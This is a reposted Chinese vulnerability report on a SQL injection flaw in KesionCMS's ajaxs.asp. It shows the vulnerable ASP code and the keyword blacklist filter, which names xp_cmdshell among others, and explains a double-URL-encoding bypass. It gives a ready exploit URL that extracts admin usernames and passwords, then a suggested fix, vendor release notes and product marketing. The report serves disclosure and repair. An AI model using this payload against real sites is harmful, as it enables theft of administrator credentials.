Kesion cms注入漏洞

2012-07-06

ywledoc http://www.wooyun.org/bugs/wooyun-2010-07419

简要描述:
函数过滤混乱导致注入
详细说明:
Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //问题函数
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函数开始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If

If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if

If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID

Param=Param & " and verific=1"

SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close
先进行了过滤,然后才调用UnEscape解码,
Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系统警告!\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function

如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。

漏洞证明
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin

转换如下:
/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
修复方案
UnEscape()函数调用位置放在函数体内,或者不调用。

KesionCMS V9.5.140605 更新列表: 1、修复会员中心上传漏洞,见:http://bbs.kesion.com/forumthread-1168139.html 2、修复会员中心短消息存在小xss漏洞 3、修复友情链接可能被存在的xss漏洞 4、修复会员中心投诉建议,可能存在的XSS漏洞 5、修复登录标签,会员登录后返回有点BUG 6、修复网银支付接口后台对账文件user/ChinaBankAutoReceive.asp 如果是商城订单可能没有同步的BUG 7、加强会员签到脚本的过滤,以免出现XSS漏洞 8、修复升级到9.5.140102版本后,附件下载提示“非法下载” 9、修复会员中心出现广告竟价及团购的无效链接   KesionCMS是漳州科兴信息技术有限公司开发的一套万能建站产品,是CMS行业最流行的网站建设解决方案之一,V9.5采用ASP ACCESS/MSSQL架构,系统具有极强的可扩展性,并且一直以来完全开放源代码;这套系统自2006年发布的第一个版来以来,以其简单易用、功能强大、拓展性极灵活而倍受广大用户的青睐,至今已累计三十万的用户群。   拥有CMS业界最全的功能,是适合任何网站的最佳解决方案 功能模型十分齐全,系统拥有CMS业界最全的功能,含文章、图片、下载、商城、供求、人才、动漫、微博、影视、考试、团购、房产、问答、论坛、会员、博客空间、黄页、产品库、专题等十几个主系统和采集、调查、评论、搜索、公告、PK、心情指数、顶客DIGG、签收等几十项子系统组合而成,代码完全开源化,在尊重版权的前提下能极大的满足站长对于网站程序进行二次开发,以满足任意网站的任何需求;系统采用模型拓展,用户可以根据网站的需要,自行在后台通过自定义模型和字段来实现各种网站的功能需求,通过自定义表单实现在线报修,报名,在线反馈等系统;系统在安全性、稳定性、易用性方面具有较高的声誉,深受广大站长推崇,其灵活的产品架构、极强的可扩展性和可伸缩性完全能最大化满足站长目前及今后的应用需求   人性化的管理操作平台,灵活的模板标签管理 人性化的管理操作平台和灵活的模板标签管理,倍受广大用户的喜爱,系统将前台的模板和标签分离,全面支持table和div css,让模板制作更加灵活,不局限于某种风格,随心所欲的DIY,让您的网站页面可以随时更换风格随时更改布局,万能标签让您实现各式各样的网站效果,不懂代码没关系,我们还有多种标签样式可以选择,只需轻松的点点您的鼠标,一个网站就做好了。   栏目无限级分类并支持绑定顶级或二级域名 系统支持栏目无限级分类,并可对系统栏目进行一级或N级栏目的排序操作,对栏目之间的内容进行复制(CTRL C),粘贴(CTRL V)操作,对栏目的内容进行合并,对栏目或文章进行批量的绑定模板或设置文章的属性,点击次数等; 另外新版中栏目支持绑定顶级或二级域名,满足为了方便用户记忆或便于SEO或者大型网站的需要。   强大的搜索引擎(SEO),自定义生成路径 系统支持动态asp,伪静态(带组件和不带组件),全静态三种生成方式,并且可以自定义生成的Html路径,方便自己做SEO,用户可以根据网站的需求随意选择。   无处不在的SNS互动元素,让您的爱站更具交流互动性 在这个日新月异的网络时代,KesionCMS始终以用户体验为导向,在本次V8.0版本中,融入更多的SNS。博客日志管理功能、相册管理功能、朋友圈管理功能、群组讨论管理功能、新鲜事、网友动态、最近谁来看过我、空间留言、日志评论、RSS在线订阅管理功能、收藏夹管理功能、邮件群发功能、短消息服务等实用功能;无处不在的SNS互动元素,让您的爱站帮助所有用户在浏览您的网站时更好的交流互动。   灵活的商业运营模式,完善的用户权限分配系统和资金明细 KesionCMS系统拥有一套健全完善的会员体系和完整的支付平台接口。可以在后台自由设置会员组,可以对栏目和文章设置会员浏览时权限及查阅所需消耗的科汛币金额;会员在会员中心可以在线充值或购买点卡进行充值;另外,网站的管理员在后台可以详细的查看资金明细,用户在前台会员中心也有详细的资金明细表。这样一来,网站可以通过销售点券,积分,充值卡,资金等来进行盈利。   打破传统CMS系统瓶颈,系统自带功能强大的论坛BBS KesionCMS打破CMS系统瓶颈,系统自带功能强大的BBS,不再为了整合第三方论坛平台而烦恼,一站式用户登录,系统还集成腾讯QQ,新浪微博及支付宝快捷登录,只需绑定下帐户,以后可以直接用QQ号或支付宝帐户登录。论坛拥有大型论坛的功能,可自定义版面分类、版规说明、版主分配、权限分配、设置积分和威望、论坛等级头衔设置,还可以将版面设置为认证版面,只有特定权限的用户才能进入认证版面发帖。发表主题后,可以只看该作者及查看该作者发表的主题;可以在会员中心查看自己发表的主题;可以对用户帖子进行点评,回复,还可对精典的帖子内容进行置顶,加精等操作。   下面简要介绍下新版本V9.5较之旧版本的一些重大改进。 亮点一 首先,整个后台登陆界面重新设计美化,随机更换不同界面背景——视觉性更强。 其次,新版本的后台代码几乎重写,采用了html5架构,在不改变原有操作习惯的情况下,对后台界面进行美化美化。再者,应广大用户需求,此新版本程序在各个浏览器的兼容方面做足了功夫,目前可兼容不同浏览器(如ie,firefox,360, Chrome,搜狗等)。   亮点二 一改早期版本自带幻灯标签样式单一,兼容性不好等问题,新版本V9.5重新开发,引入myfocus v2.0.4幻灯插件,支持数十种幻灯效果,并可以应用到内容主模型,论坛及博文系统上。 长期积累,网站中可能存在大量的无用标签,每次读出标签时对系统的性能或多或少哦都会有所影响,至此,新版本增加一键清理无用标签功能,标签管理开发为列表形式,更近一步兼容多种浏览器。 后台稿件统计增设可按管理员、会员组、会员列表导出Excel功能。管理员管理网站中,增设稿件多级审核功能,即为为管理员分配不同角色(发稿员、初审员、终身员),而文档只有通过终身才能在前台演示。   亮点三 首先,商城系统后台管理列表重新优化,增加显示商品小图、大图和价格等功能。购买商品多件可设置多件免邮功能或者购买商品满一定额度,设置免邮。会员中心订单管理界面仿淘宝效果进行了美化,简化会员操作流程,并增加会员退款退货申请功能。商品购买可以设置积分购买,也可以设置积分现金的购买方式等。 其次,影视系统增加支持百度播放器(默认)及快播,允许下载的话,还支持迅雷及快车下载,让前台用户可以自由选择播放器类型。后台添加的每部影片还支持自定义广告。可设置是否对VIP用户组开放观看影片免广发等。   亮点四 首先,考试系统增加知识点功能,后台可以检查各小题的总分是否等于试卷总分,还可按考生的考试成绩段,设置赠送积分功能(经测试鼠标移动时会动)。 其次,考试系统将不再只能以Excel格式导入试题,新版本增加可以可用word格式导入试题,并且可以按整份复制插入标签的方式添加功能,大大提高了添加试卷的效率。而试题又有纠错功能,增加判断是否发布,未发布的试卷,前台只能看到试卷标题,不能进入考试。 再次,试卷可设置随机抽卷或者整套抽卷,答题方式则可增设答题卡方式和word答题方式,加上之前的普通方式共有三种答题方式可选择。考生答题时改进单题提交时,如果答错了,自动加入错题本,答完提交试卷时,增加提示还有多少道题没有做的功能。 最后,考试系统优化答题表情功能,将不需要每小题都单独设置答题表情,而是直接从表情库里根据做题情况,随便抽取。考试系统内容页增加可以用<script src="/mnkc/scorelist.asp?sjid="></script>调出本份试卷的成绩排行。   亮点五 针对自定义表单增加按IP限制,指定时间内只能提交一次,防止注册机提交。修复后台模板管理,插入更多标签在非IE浏览器下无效,不能插入。改进问答系统问题详情页面如果是专家回答的问题,增加可以显示专家认分类及专家姓名等信息,以区分普通会员及专家回答。评论增加数据表,当默认的评论数据表数据量很大量,会严重的影响页面的加载速度。这时我们可以通过创建评论分表来缓存单张评论数据表的负载压力。评论静态化,直接生成HTML代码在内容页,这样评论将被搜索引擎抓取, 提升SEO优化,评论显示模板化。   更多亮点,可参考http://bbs.kesion.com/forumthread-1066568.html
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值